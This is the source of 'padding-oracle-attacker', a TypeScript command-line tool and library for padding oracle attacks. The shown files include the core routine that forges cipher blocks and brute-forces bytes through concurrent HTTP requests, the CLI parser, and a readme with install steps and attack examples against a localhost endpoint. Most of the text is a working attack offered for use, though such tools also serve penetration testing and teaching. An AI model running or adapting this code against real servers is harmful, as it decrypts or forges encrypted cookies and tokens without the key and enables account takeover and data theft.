networkStats.count++ 75 | networkStats.lastDownloadTime = response.timings.phases.total 76 | networkStats.bytesDown += response.socket.bytesRead || 0 77 | networkStats.bytesUp += response.socket.bytesWritten || 0 78 | const result = pick(response, ['statusCode', 'headers', 'body']) as OracleResult 79 | if (isCacheEnabled) await cacheStore.set(cacheKey, result) 80 | return { url, ...result } 81 | } 82 | return { networkStats, callOracle } 83 | } 84 | 85 | export default OracleCaller 86 | -------------------------------------------------------------------------------- /src/util.ts: -------------------------------------------------------------------------------- 1 | import { HeadersObject } from './types' 2 | 3 | export const xor = (b1: Buffer, b2: Buffer) => b1.map((byte, i) => byte ^ b2[i]) as Buffer 4 | 5 | export function addPadding(plaintext: Buffer, blockSize: number): Buffer { 6 | const pad = blockSize - (plaintext.length % blockSize) 7 | const paddingBuffer = Buffer.from(Array(pad).fill(pad)) 8 | return Buffer.concat([plaintext, paddingBuffer]) 9 | } 10 | 11 | // https://github.com/gchq/CyberChef/blob/master/src/core/Utils.mjs 12 | /** 13 | * @author n1474335 [n1474335@gmail.com] 14 | * @copyright Crown Copyright 2016 15 | * @license Apache-2.0 16 | */ 17 | export function getPrintable(str: string): string { 18 | // eslint-disable-next-line max-len 19 | const re = /[\0-\x08\x0B-\x0C\x0E-\x1F\x7F-\x9F\xAD\u0378\u0379\u037F-\u0383\u038B\u038D\u03A2\u0528-\u0530\u0557\u0558\u0560\u0588\u058B-\u058E\u0590\u05C8-\u05CF\u05EB-\u05EF\u05F5-\u0605\u061C\u061D\u06DD\u070E\u070F\u074B\u074C\u07B2-\u07BF\u07FB-\u07FF\u082E\u082F\u083F\u085C\u085D\u085F-\u089F\u08A1\u08AD-\u08E3\u08FF\u0978\u0980\u0984\u098D\u098E\u0991\u0992\u09A9\u09B1\u09B3-\u09B5\u09BA\u09BB\u09C5\u09C6\u09C9\u09CA\u09CF-\u09D6\u09D8-\u09DB\u09DE\u09E4\u09E5\u09FC-\u0A00\u0A04\u0A0B-\u0A0E\u0A11\u0A12\u0A29\u0A31\u0A34\u0A37\u0A3A\u0A3B\u0A3D\u0A43-\u0A46\u0A49\u0A4A\u0A4E-\u0A50\u0A52-\u0A58\u0A5D\u0A5F-\u0A65\u0A76-\u0A80\u0A84\u0A8E\u0A92\u0AA9\u0AB1\u0AB4\u0ABA\u0ABB\u0AC6\u0ACA\u0ACE\u0ACF\u0AD1-\u0ADF\u0AE4\u0AE5\u0AF2-\u0B00\u0B04\u0B0D\u0B0E\u0B11\u0B12\u0B29\u0B31\u0B34\u0B3A\u0B3B\u0B45\u0B46\u0B49\u0B4A\u0B4E-\u0B55\u0B58-\u0B5B\u0B5E\u0B64\u0B65\u0B78-\u0B81\u0B84\u0B8B-\u0B8D\u0B91\u0B96-\u0B98\u0B9B\u0B9D\u0BA0-\u0BA2\u0BA5-\u0BA7\u0BAB-\u0BAD\u0BBA-\u0BBD\u0BC3-\u0BC5\u0BC9\u0BCE\u0BCF\u0BD1-\u0BD6\u0BD8-\u0BE5\u0BFB-\u0C00\u0C04\u0C0D\u0C11\u0C29\u0C34\u0C3A-\u0C3C\u0C45\u0C49\u0C4E-\u0C54\u0C57\u0C5A-\u0C5F\u0C64\u0C65\u0C70-\u0C77\u0C80\u0C81\u0C84\u0C8D\u0C91\u0CA9\u0CB4\u0CBA\u0CBB\u0CC5\u0CC9\u0CCE-\u0CD4\u0CD7-\u0CDD\u0CDF\u0CE4\u0CE5\u0CF0\u0CF3-\u0D01\u0D04\u0D0D\u0D11\u0D3B\u0D3C\u0D45\u0D49\u0D4F-\u0D56\u0D58-\u0D5F\u0D64\u0D65\u0D76-\u0D78\u0D80\u0D81\u0D84\u0D97-\u0D99\u0DB2\u0DBC\u0DBE\u0DBF\u0DC7-\u0DC9\u0DCB-\u0DCE\u0DD5\u0DD7\u0DE0-\u0DF1\u0DF5-\u0E00\u0E3B-\u0E3E\u0E5C-\u0E80\u0E83\u0E85\u0E86\u0E89\u0E8B\u0E8C\u0E8E-\u0E93\u0E98\u0EA0\u0EA4\u0EA6\u0EA8\u0EA9\u0EAC\u0EBA\u0EBE\u0EBF\u0EC5\u0EC7\u0ECE\u0ECF\u0EDA\u0EDB\u0EE0-\u0EFF\u0F48\u0F6D-\u0F70\u0F98\u0FBD\u0FCD\u0FDB-\u0FFF\u10C6\u10C8-\u10CC\u10CE\u10CF\u1249\u124E\u124F\u1257\u1259\u125E\u125F\u1289\u128E\u128F\u12B1\u12B6\u12B7\u12BF\u12C1\u12C6\u12C7\u12D7\u1311\u1316\u1317\u135B\u135C\u137D-\u137F\u139A-\u139F\u13F5-\u13FF\u169D-\u169F\u16F1-\u16FF\u170D\u1715-\u171F\u1737-\u173F\u1754-\u175F\u176D\u1771\u1774-\u177F\u17DE\u17DF\u17EA-\u17EF\u17FA-\u17FF\u180F\u181A-\u181F\u1878-\u187F\u18AB-\u18AF\u18F6-\u18FF\u191D-\u191F\u192C-\u192F\u193C-\u193F\u1941-\u1943\u196E\u196F\u1975-\u197F\u19AC-\u19AF\u19CA-\u19CF\u19DB-\u19DD\u1A1C\u1A1D\u1A5F\u1A7D\u1A7E\u1A8A-\u1A8F\u1A9A-\u1A9F\u1AAE-\u1AFF\u1B4C-\u1B4F\u1B7D-\u1B7F\u1BF4-\u1BFB\u1C38-\u1C3A\u1C4A-\u1C4C\u1C80-\u1CBF\u1CC8-\u1CCF\u1CF7-\u1CFF\u1DE7-\u1DFB\u1F16\u1F17\u1F1E\u1F1F\u1F46\u1F47\u1F4E\u1F4F\u1F58\u1F5A\u1F5C\u1F5E\u1F7E\u1F7F\u1FB5\u1FC5\u1FD4\u1FD5\u1FDC\u1FF0\u1FF1\u1FF5\u1FFF\u200B-\u200F\u202A-\u202E\u2060-\u206F\u2072\u2073\u208F\u209D-\u209F\u20BB-\u20CF\u20F1-\u20FF\u218A-\u218F\u23F4-\u23FF\u2427-\u243F\u244B-\u245F\u2700\u2B4D-\u2B4F\u2B5A-\u2BFF\u2C2F\u2C5F\u2CF4-\u2CF8\u2D26\u2D28-\u2D2C\u2D2E\u2D2F\u2D68-\u2D6E\u2D71-\u2D7E\u2D97-\u2D9F\u2DA7\u2DAF\u2DB7\u2DBF\u2DC7\u2DCF\u2DD7\u2DDF\u2E3C-\u2E7F\u2E9A\u2EF4-\u2EFF\u2FD6-\u2FEF\u2FFC-\u2FFF\u3040\u3097\u3098\u3100-\u3104\u312E-\u3130\u318F\u31BB-\u31BF\u31E4-\u31EF\u321F\u32FF\u4DB6-\u4DBF\u9FCD-\u9FFF\uA48D-\uA48F\uA4C7-\uA4CF\uA62C-\uA63F\uA698-\uA69E\uA6F8-\uA6FF\uA78F\uA794-\uA79F\uA7AB-\uA7F7\uA82C-\uA82F\uA83A-\uA83F\uA878-\uA87F\uA8C5-\uA8CD\uA8DA-\uA8DF\uA8FC-\uA8FF\uA954-\uA95E\uA97D-\uA97F\uA9CE\uA9DA-\uA9DD\uA9E0-\uA9FF\uAA37-\uAA3F\uAA4E\uAA4F\uAA5A\uAA5B\uAA7C-\uAA7F\uAAC3-\uAADA\uAAF7-\uAB00\uAB07\uAB08\uAB0F\uAB10\uAB17-\uAB1F\uAB27\uAB2F-\uABBF\uABEE\uABEF\uABFA-\uABFF\uD7A4-\uD7AF\uD7C7-\uD7CA\uD7FC-\uD7FF\uE000-\uF8FF\uFA6E\uFA6F\uFADA-\uFAFF\uFB07-\uFB12\uFB18-\uFB1C\uFB37\uFB3D\uFB3F\uFB42\uFB45\uFBC2-\uFBD2\uFD40-\uFD4F\uFD90\uFD91\uFDC8-\uFDEF\uFDFE\uFDFF\uFE1A-\uFE1F\uFE27-\uFE2F\uFE53\uFE67\uFE6C-\uFE6F\uFE75\uFEFD-\uFF00\uFFBF-\uFFC1\uFFC8\uFFC9\uFFD0\uFFD1\uFFD8\uFFD9\uFFDD-\uFFDF\uFFE7\uFFEF-\uFFFB\uFFFE\uFFFF]/g 20 | const wsRe = /[\x09-\x10\x0D\u2028\u2029]/g 21 | 22 | return str.replace(re, '.').replace(wsRe, '.') 23 | } 24 | 25 | export const arrayifyHeaders = (headers: HeadersObject) => Object.entries(headers).map(([k, v]) => `${k}: ${v}`) 26 | export const stringifyHeaders = (headers: HeadersObject) => arrayifyHeaders(headers).join('\n') 27 | 28 | export function getStatusCodeColor(code: number) { 29 | if (code >= 200 && code <= 299) return 'green' 30 | if (code >= 300 && code <= 399) return 'yellow' 31 | if (code >= 400 && code <= 499) return 'yellow' 32 | return 'red' 33 | } 34 | -------------------------------------------------------------------------------- /src/padding-oracle.ts: -------------------------------------------------------------------------------- 1 | import bluebird from './bluebird' // eslint-disable-line import/order 2 | 3 | import ow from 'ow' 4 | import { range } from 'lodash' 5 | 6 | import { logProgress, logWarning } from './logging' 7 | import waitUntilFirstTruthyPromise from './promises' 8 | import { PaddingOracleOptions } from './types' 9 | import OracleCaller from './oracle-caller' 10 | 11 | const PaddingOracle = (options: PaddingOracleOptions) => { 12 | const { networkStats, callOracle } = OracleCaller(options) 13 | const { 14 | ciphertext, plaintext, origBytes, foundBytes, interBytes, foundOffsets, 15 | url: _url, blockSize, blockCount, startFromFirstBlock, 16 | transformPayload, concurrency = 128, isDecryptionSuccess, 17 | logMode = 'full', isCacheEnabled = true, initFirstPayloadBlockWithOrigBytes = false 18 | } = options 19 | ow(_url, 'url', ow.string) 20 | ow(blockSize, ow.number) 21 | ow(concurrency, ow.number) 22 | ow(isDecryptionSuccess, ow.function) 23 | if (transformPayload) ow(transformPayload, ow.function) 24 | ow(logMode, ow.string) 25 | 26 | let stopLoggingProgress = false 27 | 28 | function constructPayload({ byteI, blockI, byte, currentPadding }: { byteI: number, blockI: number, byte: number, currentPadding: number }) { 29 | const firstBlock = Buffer.alloc(blockSize) 30 | if (initFirstPayloadBlockWithOrigBytes) ciphertext.copy(firstBlock, 0, blockI * blockSize) 31 | firstBlock[byteI] = byte 32 | for (const i of range(byteI + 1, blockSize)) { 33 | const offset = (blockSize * blockI) + i 34 | const interByte = interBytes[offset] 35 | firstBlock[i] = interByte ^ currentPadding 36 | } 37 | const start = (blockI + 1) * blockSize 38 | const secondBlock = ciphertext.slice(start, start + blockSize) 39 | const twoBlocks = Buffer.concat([firstBlock, secondBlock]) 40 | return { twoBlocks } 41 | } 42 | let badErrorArgConfidence = 0 43 | function byteFound({ offset, byte, currentPadding }: { offset: number, byte: number, currentPadding: number }) { 44 | const origByte = origBytes[offset] // plaintext or ciphertext 45 | if (byte === origByte) badErrorArgConfidence++ 46 | const interByte = byte ^ currentPadding 47 | const foundByte = origByte ^ interByte 48 | foundBytes[offset] = foundByte 49 | interBytes[offset] = interByte 50 | foundOffsets.add(offset) 51 | } 52 | async function processByte( 53 | { blockI, byteI, byte, currentPadding, offset }: { blockI: number, byteI: number, byte: number, currentPadding: number, offset: number } 54 | ): Promise { 55 | const { twoBlocks } = constructPayload({ blockI, byteI, byte, currentPadding }) 56 | 57 | if (foundOffsets.has(offset)) return true 58 | 59 | const req = await callOracle(twoBlocks) 60 | const decryptionSuccess = isDecryptionSuccess(req) 61 | 62 | if (decryptionSuccess) byteFound({ offset, byte, currentPadding }) 63 | 64 | if (logMode === 'full' && !stopLoggingProgress) { 65 | if (!(foundOffsets.has(offset) && !decryptionSuccess)) { // make sure concurrency doesn't cause former bytes progress to be logged after later byte 66 | logProgress({ ciphertext, plaintext, foundOffsets, blockSize, blockI, byteI, byte, decryptionSuccess, networkStats, startFromFirstBlock, isCacheEnabled }) 67 | } 68 | } 69 | 70 | return decryptionSuccess 71 | } 72 | const isDecrypting = origBytes === ciphertext 73 | async function processBlock(blockI: number) { 74 | let warningPrinted = false 75 | for (const byteI of range(blockSize - 1, -1)) { 76 | const currentPadding = blockSize - byteI 77 | const offset = (blockSize * blockI) + byteI 78 | if (foundOffsets.has(offset)) continue 79 | const cipherByte = ciphertext[offset] 80 | const byteRange = isDecrypting 81 | ? range(0, 256).filter(b => b !== cipherByte) 82 | : range(0, 256) 83 | if (concurrency > 1) { 84 | const promises = byteRange.map(byte => bluebird.method(() => processByte({ blockI, byteI, byte, currentPadding, offset }))) 85 | await waitUntilFirstTruthyPromise(promises, { concurrency }) 86 | } else { 87 | for (const byte of byteRange) { 88 | const success = await processByte({ blockI, byteI, byte, currentPadding, offset }) 89 | if (success) break 90 | } 91 | } 92 | if (isDecrypting && !foundOffsets.has(offset)) { 93 | await processByte({ blockI, byteI, byte: cipherByte, currentPadding, offset }) 94 | } 95 | if (!foundOffsets.has(offset)) { 96 | throw Error(`Padding oracle failure for offset: 0x${offset.toString(16)}. Try again or check the parameter you provided for determining decryption success.`) 97 | } 98 | if (!warningPrinted && badErrorArgConfidence > (blockSize / 2)) { 99 | logWarning('The parameter you provided for determining decryption success seems to be incorrect.') 100 | warningPrinted = true 101 | } 102 | } 103 | } 104 | async function processBlocks() { 105 | const blockIndexes = startFromFirstBlock ? range(blockCount - 1) : range(blockCount - 2, -1) 106 | for (const blockI of blockIndexes) { 107 | await processBlock(blockI) 108 | } 109 | stopLoggingProgress = true 110 | } 111 | return { processBlocks, callOracle } 112 | } 113 | 114 | export default PaddingOracle 115 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | /* Basic Options */ 4 | "target": "es2017", /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019' or 'ESNEXT'. */ 5 | "module": "commonjs", /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'. */ 6 | "lib": ["es2017"], /* Specify library files to be included in the compilation. */ 7 | // "allowJs": true, /* Allow javascript files to be compiled. */ 8 | // "checkJs": true, /* Report errors in .js files. */ 9 | // "jsx": "preserve", /* Specify JSX code generation: 'preserve', 'react-native', or 'react'. */ 10 | "declaration": true, /* Generates corresponding '.d.ts' file. */ 11 | // "declarationMap": true, /* Generates a sourcemap for each corresponding '.d.ts' file. */ 12 | "sourceMap": true, /* Generates corresponding '.map' file. */ 13 | // "outFile": "./", /* Concatenate and emit output to single file. */ 14 | "outDir": "dist", /* Redirect output structure to the directory. */ 15 | // "rootDir": "./", /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */ 16 | // "composite": true, /* Enable project compilation */ 17 | // "incremental": true, /* Enable incremental compilation */ 18 | // "tsBuildInfoFile": "./", /* Specify file to store incremental compilation information */ 19 | // "removeComments": true, /* Do not emit comments to output. */ 20 | // "noEmit": true, /* Do not emit outputs. */ 21 | // "importHelpers": true, /* Import emit helpers from 'tslib'. */ 22 | // "downlevelIteration": true, /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */ 23 | // "isolatedModules": true, /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */ 24 | "resolveJsonModule": true, 25 | "forceConsistentCasingInFileNames": true, 26 | /* Strict Type-Checking Options */ 27 | "strict": true, /* Enable all strict type-checking options. */ 28 | // "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */ 29 | // "strictNullChecks": true, /* Enable strict null checks. */ 30 | // "strictFunctionTypes": true, /* Enable strict checking of function types. */ 31 | // "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */ 32 | // "strictPropertyInitialization": true, /* Enable strict checking of property initialization in classes. */ 33 | // "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */ 34 | // "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */ 35 | 36 | /* Additional Checks */ 37 | // "noUnusedLocals": true, /* Report errors on unused locals. */ 38 | // "noUnusedParameters": true, /* Report errors on unused parameters. */ 39 | // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */ 40 | // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */ 41 | 42 | /* Module Resolution Options */ 43 | // "moduleResolution": "node", /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */ 44 | // "baseUrl": "./", /* Base directory to resolve non-absolute module names. */ 45 | // "paths": {}, /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */ 46 | // "rootDirs": [], /* List of root folders whose combined content represents the structure of the project at runtime. */ 47 | // "typeRoots": [], /* List of folders to include type definitions from. */ 48 | // "types": [], /* Type declaration files to be included in compilation. */ 49 | "allowSyntheticDefaultImports": true, /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */ 50 | "esModuleInterop": true /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */ 51 | // "preserveSymlinks": true, /* Do not resolve the real path of symlinks. */ 52 | 53 | /* Source Map Options */ 54 | // "sourceRoot": "", /* Specify the location where debugger should locate TypeScript files instead of source locations. */ 55 | // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ 56 | // "inlineSourceMap": true, /* Emit a single file with source maps instead of having a separate file. */ 57 | // "inlineSources": true, /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */ 58 | 59 | /* Experimental Options */ 60 | // "experimentalDecorators": true, /* Enables experimental support for ES7 decorators. */ 61 | // "emitDecoratorMetadata": true, /* Enables experimental support for emitting type metadata for decorators. */ 62 | }, 63 | "include": ["src"] 64 | } 65 | -------------------------------------------------------------------------------- /src/cli.ts: -------------------------------------------------------------------------------- 1 | import fse from 'fs-extra' 2 | import path from 'path' 3 | import minimist from 'minimist' 4 | import chalk from 'chalk' 5 | 6 | import decryptFunc from './decrypt' 7 | import encryptFunc from './encrypt' 8 | import analyzeFunc from './response-analysis' 9 | import { logError } from './logging' 10 | import { OracleResult } from './types' 11 | import { PKG_NAME, PKG_VERSION } from './constants' 12 | 13 | const argv = minimist(process.argv.slice(2), { 14 | string: ['method', 'header', 'data', 'payload-encoding'], 15 | boolean: ['version', 'disable-cache'], 16 | alias: { 17 | v: 'version', 18 | c: 'concurrency', 19 | X: 'method', 20 | H: 'header', 21 | d: 'data', 22 | e: 'payload-encoding', 23 | 'start-from-first-block': 'start-from-1st-block' 24 | } 25 | }) 26 | 27 | const BANNER = fse.readFileSync(path.join(__dirname, '../banner.txt'), 'utf-8') 28 | console.log(BANNER) 29 | 30 | const USAGE = chalk` 31 | {inverse Usage} 32 | {gray $} padding-oracle-attacker decrypt hex: [options] 33 | {gray $} padding-oracle-attacker decrypt b64: [options] 34 | 35 | {gray $} padding-oracle-attacker encrypt <block_size> <error> [options] 36 | {gray $} padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options] 37 | 38 | {gray $} padding-oracle-attacker analyze <url> [<block_size>] [options] 39 | 40 | {inverse Commands} 41 | decrypt Finds the plaintext (foobar) for given ciphertext (hex:0123abcd) 42 | encrypt Finds the ciphertext (hex:abcd1234) for given plaintext (foo=bar) 43 | analyze Helps find out if the URL is vulnerable or not, and 44 | how the response differs when a decryption error occurs 45 | (for the <error> argument) 46 | 47 | {inverse Arguments} 48 | <url> URL to attack. Payload will be inserted at the end by default. To specify 49 | a custom injection point, include {underline \{POPAYLOAD\}} in a header (-H), 50 | request body (-d) or the URL 51 | <block_size> Block size used by the encryption algorithm on the server 52 | <error> The string present in response when decryption fails on the server. 53 | Specify a string present in the HTTP response body (like PaddingException) 54 | or status code of the HTTP response (like 400) 55 | 56 | {inverse Options} 57 | -c, --concurrency Requests to be sent concurrently [default: 128] 58 | --disable-cache Disable network cache. Saved to [default: false] 59 | poattack-cache.json.gz.txt by default 60 | -X, --method HTTP method to use while making request [default: GET] 61 | -H, --header Headers to be sent with request. 62 | -H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1' 63 | -d, --data Request body 64 | JSON string: \{"id": 101, "foo": "bar"\} 65 | URL encoded: id=101&foo=bar 66 | Make sure to specify the Content-Type header. 67 | 68 | -e, --payload-encoding Ciphertext payload encoding for {underline \{POPAYLOAD\}} [default: hex] 69 | base64 FooBar+/= 70 | base64-urlsafe FooBar-_ 71 | hex deadbeef 72 | hex-uppercase DEADBEEF 73 | base64(xyz) Custom base64 ('xyz' represent characters for '+/=') 74 | 75 | --dont-urlencode-payload Don't URL encode {underline \{POPAYLOAD\}} [default: false] 76 | 77 | --start-from-1st-block Start processing from the first block instead [default: false] 78 | of the last (only works with decrypt mode) 79 | 80 | {inverse Examples} 81 | {gray $} poattack decrypt http://localhost:2020/decrypt?ciphertext= 82 | hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9 16 400 83 | {gray $} poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400 84 | {gray $} poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400 85 | {gray $} poattack analyze http://localhost:2020/decrypt?ciphertext= 86 | 87 | {inverse Aliases} 88 | poattack 89 | padding-oracle-attack 90 | ` 91 | 92 | const { 93 | version, 94 | method, 95 | H: headers, 96 | data, 97 | concurrency, 98 | e: payloadEncoding = 'hex', 99 | 'disable-cache': disableCache, 100 | cache, 101 | 'start-from-1st-block': startFromFirstBlock, 102 | 'dont-urlencode-payload': dontURLEncodePayload 103 | } = argv 104 | 105 | const VALID_ENCODINGS = ['hex-uppercase', 'base64', 'base64-urlsafe', 'hex'] 106 | const DEFAULT_BLOCK_SIZE = 16 107 | 108 | const toBase64Custom = (buffer: Buffer, [plusChar, slashChar, equalChar]: string) => buffer 109 | .toString('base64') 110 | .replace(/\+/g, plusChar || '') 111 | .replace(/\//g, slashChar || '') 112 | .replace(/=/g, equalChar || '') 113 | 114 | const hexToBuffer = (str: string) => Buffer.from(str.replace(/\s+/g, ''), 'hex') 115 | const b64ToBuffer = (str: string) => Buffer.from(str.replace(/\s+/g, ''), 'base64') 116 | function strToBuffer(input: string, fromPlain: boolean = true) { 117 | if (input.startsWith('hex:')) return hexToBuffer(input.slice('hex:'.length)) 118 | if (input.startsWith('base64:')) return b64ToBuffer(input.slice('base64:'.length)) 119 | if (input.startsWith('b64:')) return b64ToBuffer(input.slice('b64:'.length)) 120 | if (input.startsWith('utf8:')) return Buffer.from(input.slice('utf8:'.length), 'utf8') 121 | if (fromPlain) return Buffer.from(input, 'utf8') 122 | throw Error('Input string should start with `hex:` or `base64:`/`b64:`') 123 | } 124 | async function main() { 125 | const [operation, url] = argv._ 126 | const [,, thirdArg, fourthArg, paddingError] = argv._ as string[] | number[] 127 | if (version) { 128 | console.log(PKG_NAME, 'v' + PKG_VERSION) 129 | return 130 | } 131 | const isEncrypt = operation === 'encrypt' 132 | const isDecrypt = operation === 'decrypt' 133 | const isAnalyze = ['analyze', 'analyse'].includes(operation) 134 | const blockSize = Math.abs(isAnalyze ? +thirdArg : +fourthArg) || DEFAULT_BLOCK_SIZE 135 | const requestOptions = { method, headers, data } 136 | const cipherOrPlaintext = String(thirdArg) 137 | if ( 138 | (!isEncrypt && !isDecrypt && !isAnalyze) || !url 139 | || Array.isArray(method) || Array.isArray(concurrency) || Array.isArray(data) 140 | || (!isAnalyze && (!cipherOrPlaintext || !blockSize || !paddingError)) 141 | ) { 142 | console.error(USAGE) 143 | return 144 | } 145 | if (!url.startsWith('http://') && !url.startsWith('https://')) { 146 | console.error(chalk`{red Invalid argument:} <url>\nMust start with http: or https:`) 147 | return 148 | } 149 | if (!isNaN(paddingError as number) && (paddingError < 100 || paddingError > 599)) { 150 | console.error(chalk`{red Invalid argument:} <error>\nNot a valid status code`) 151 | return 152 | } 153 | if (!VALID_ENCODINGS.includes(payloadEncoding) && !payloadEncoding.startsWith('base64(')) { 154 | console.error(chalk` 155 | {yellow.underline Warning}: ${payloadEncoding} is unrecognized. Defaulting to hex. 156 | `) 157 | } 158 | if (!isDecrypt && startFromFirstBlock) { 159 | console.error(chalk` 160 | {yellow.underline Warning}: Can only start from first block while decrypting. 161 | `) 162 | } 163 | if (data && !String(headers).toLowerCase().includes('content-type:')) { 164 | console.error(chalk` 165 | {yellow.underline Warning}: \`--data\` argument is present without a \`Content-Type\` header. 166 | You may want to set it to {inverse application/x-www-form-urlencoded} or {inverse application/json} 167 | `) 168 | } 169 | const isDecryptionSuccess = ({ statusCode, body }: OracleResult) => { 170 | if (!isNaN(paddingError as number)) return statusCode !== +paddingError 171 | return !body.includes(paddingError as unknown as string) 172 | } 173 | const transformPayload = (payload: Buffer) => { 174 | const urlencode = dontURLEncodePayload ? (i: string) => i : encodeURIComponent 175 | if (payloadEncoding === 'hex-uppercase') return payload.toString('hex').toUpperCase() 176 | if (payloadEncoding === 'base64') return urlencode(payload.toString('base64')) 177 | if (payloadEncoding === 'base64-urlsafe') return urlencode(toBase64Custom(payload, '-_')) 178 | if (payloadEncoding.startsWith('base64(')) { 179 | // base64 with custom alphabet. like "base64(-!~)" 180 | const chars = payloadEncoding.slice('base64('.length).split('') 181 | return urlencode(toBase64Custom(payload, chars)) 182 | } 183 | return payload.toString('hex') 184 | } 185 | const isCacheEnabled = !disableCache && cache !== false 186 | const commonArgs = { url, blockSize, isDecryptionSuccess, transformPayload, concurrency, requestOptions, isCacheEnabled } 187 | if (isDecrypt) { 188 | await decryptFunc({ 189 | ...commonArgs, 190 | ciphertext: strToBuffer(cipherOrPlaintext, false), 191 | startFromFirstBlock 192 | }) 193 | } else if (isEncrypt) { 194 | await encryptFunc({ 195 | ...commonArgs, 196 | plaintext: strToBuffer(cipherOrPlaintext) 197 | }) 198 | } else if (isAnalyze) { 199 | await analyzeFunc(commonArgs) 200 | } 201 | } 202 | 203 | main().catch(logError) 204 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # padding-oracle-attacker 2 | 3 | CLI tool and library to execute [padding oracle attacks](https://en.wikipedia.org/wiki/Padding_oracle_attack) easily, with support for concurrent network requests and an elegant UI. 4 | 5 | <img alt="poattack decrypt demo" src="media/poattack-decrypt.gif" width="734" height="492" /> 6 | 7 | [![Build Status](https://api.travis-ci.com/KishanBagaria/padding-oracle-attacker.svg)](https://travis-ci.com/KishanBagaria/padding-oracle-attacker) 8 | 9 | ## Install 10 | 11 | Make sure [Node.js](https://nodejs.org/) is installed, then run 12 | 13 | ```sh 14 | $ npm install --global padding-oracle-attacker 15 | ``` 16 | or 17 | ```sh 18 | $ yarn global add padding-oracle-attacker 19 | ``` 20 | 21 | ## CLI Usage 22 | 23 | ``` 24 | Usage 25 | $ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options] 26 | $ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options] 27 | 28 | $ padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options] 29 | $ padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options] 30 | 31 | $ padding-oracle-attacker analyze <url> [<block_size>] [options] 32 | 33 | Commands 34 | decrypt Finds the plaintext (foobar) for given ciphertext (hex:0123abcd) 35 | encrypt Finds the ciphertext (hex:abcd1234) for given plaintext (foo=bar) 36 | analyze Helps find out if the URL is vulnerable or not, and 37 | how the response differs when a decryption error occurs 38 | (for the <error> argument) 39 | 40 | Arguments 41 | <url> URL to attack. Payload will be inserted at the end by default. To specify 42 | a custom injection point, include {POPAYLOAD} in a header (-H), 43 | request body (-d) or the URL 44 | <block_size> Block size used by the encryption algorithm on the server 45 | <error> The string present in response when decryption fails on the server. 46 | Specify a string present in the HTTP response body (like PaddingException) 47 | or status code of the HTTP response (like 400) 48 | 49 | Options 50 | -c, --concurrency Requests to be sent concurrently [default: 128] 51 | --disable-cache Disable network cache. Saved to [default: false] 52 | poattack-cache.json.gz.txt by default 53 | -X, --method HTTP method to use while making request [default: GET] 54 | -H, --header Headers to be sent with request. 55 | -H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1' 56 | -d, --data Request body 57 | JSON string: {"id": 101, "foo": "bar"} 58 | URL encoded: id=101&foo=bar 59 | Make sure to specify the Content-Type header. 60 | 61 | -e, --payload-encoding Ciphertext payload encoding for {POPAYLOAD} [default: hex] 62 | base64 FooBar+/= 63 | base64-urlsafe FooBar-_ 64 | hex deadbeef 65 | hex-uppercase DEADBEEF 66 | base64(xyz) Custom base64 ('xyz' represent characters for '+/=') 67 | 68 | --dont-urlencode-payload Don't URL encode {POPAYLOAD} [default: false] 69 | 70 | --start-from-1st-block Start processing from the first block instead [default: false] 71 | of the last (only works with decrypt mode) 72 | 73 | Examples 74 | $ poattack decrypt http://localhost:2020/decrypt?ciphertext= 75 | hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9 76 | 16 400 77 | $ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400 78 | $ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400 79 | $ poattack analyze http://localhost:2020/decrypt?ciphertext= 80 | 81 | Aliases 82 | poattack 83 | padding-oracle-attack 84 | ``` 85 | 86 | ## Library API 87 | 88 | ```js 89 | const { decrypt, encrypt } = require('padding-oracle-attacker') 90 | // or 91 | import { decrypt, encrypt } from 'padding-oracle-attacker' 92 | 93 | const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options) 94 | 95 | const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options) 96 | ``` 97 | 98 | #### `decrypt(options: Object): Promise` 99 | #### `encrypt(options: Object): Promise` 100 | 101 | ##### Required options 102 | 103 | ###### `url: string` 104 | URL to attack. Payload will be appended at the end by default. To specify a custom injection point, include `{POPAYLOAD}` in the URL, a header (`requestOptions.headers`) or the request body (`requestOptions.data`) 105 | 106 | ###### `blockSize: number` 107 | Block size used by the encryption algorithm on the server. 108 | 109 | 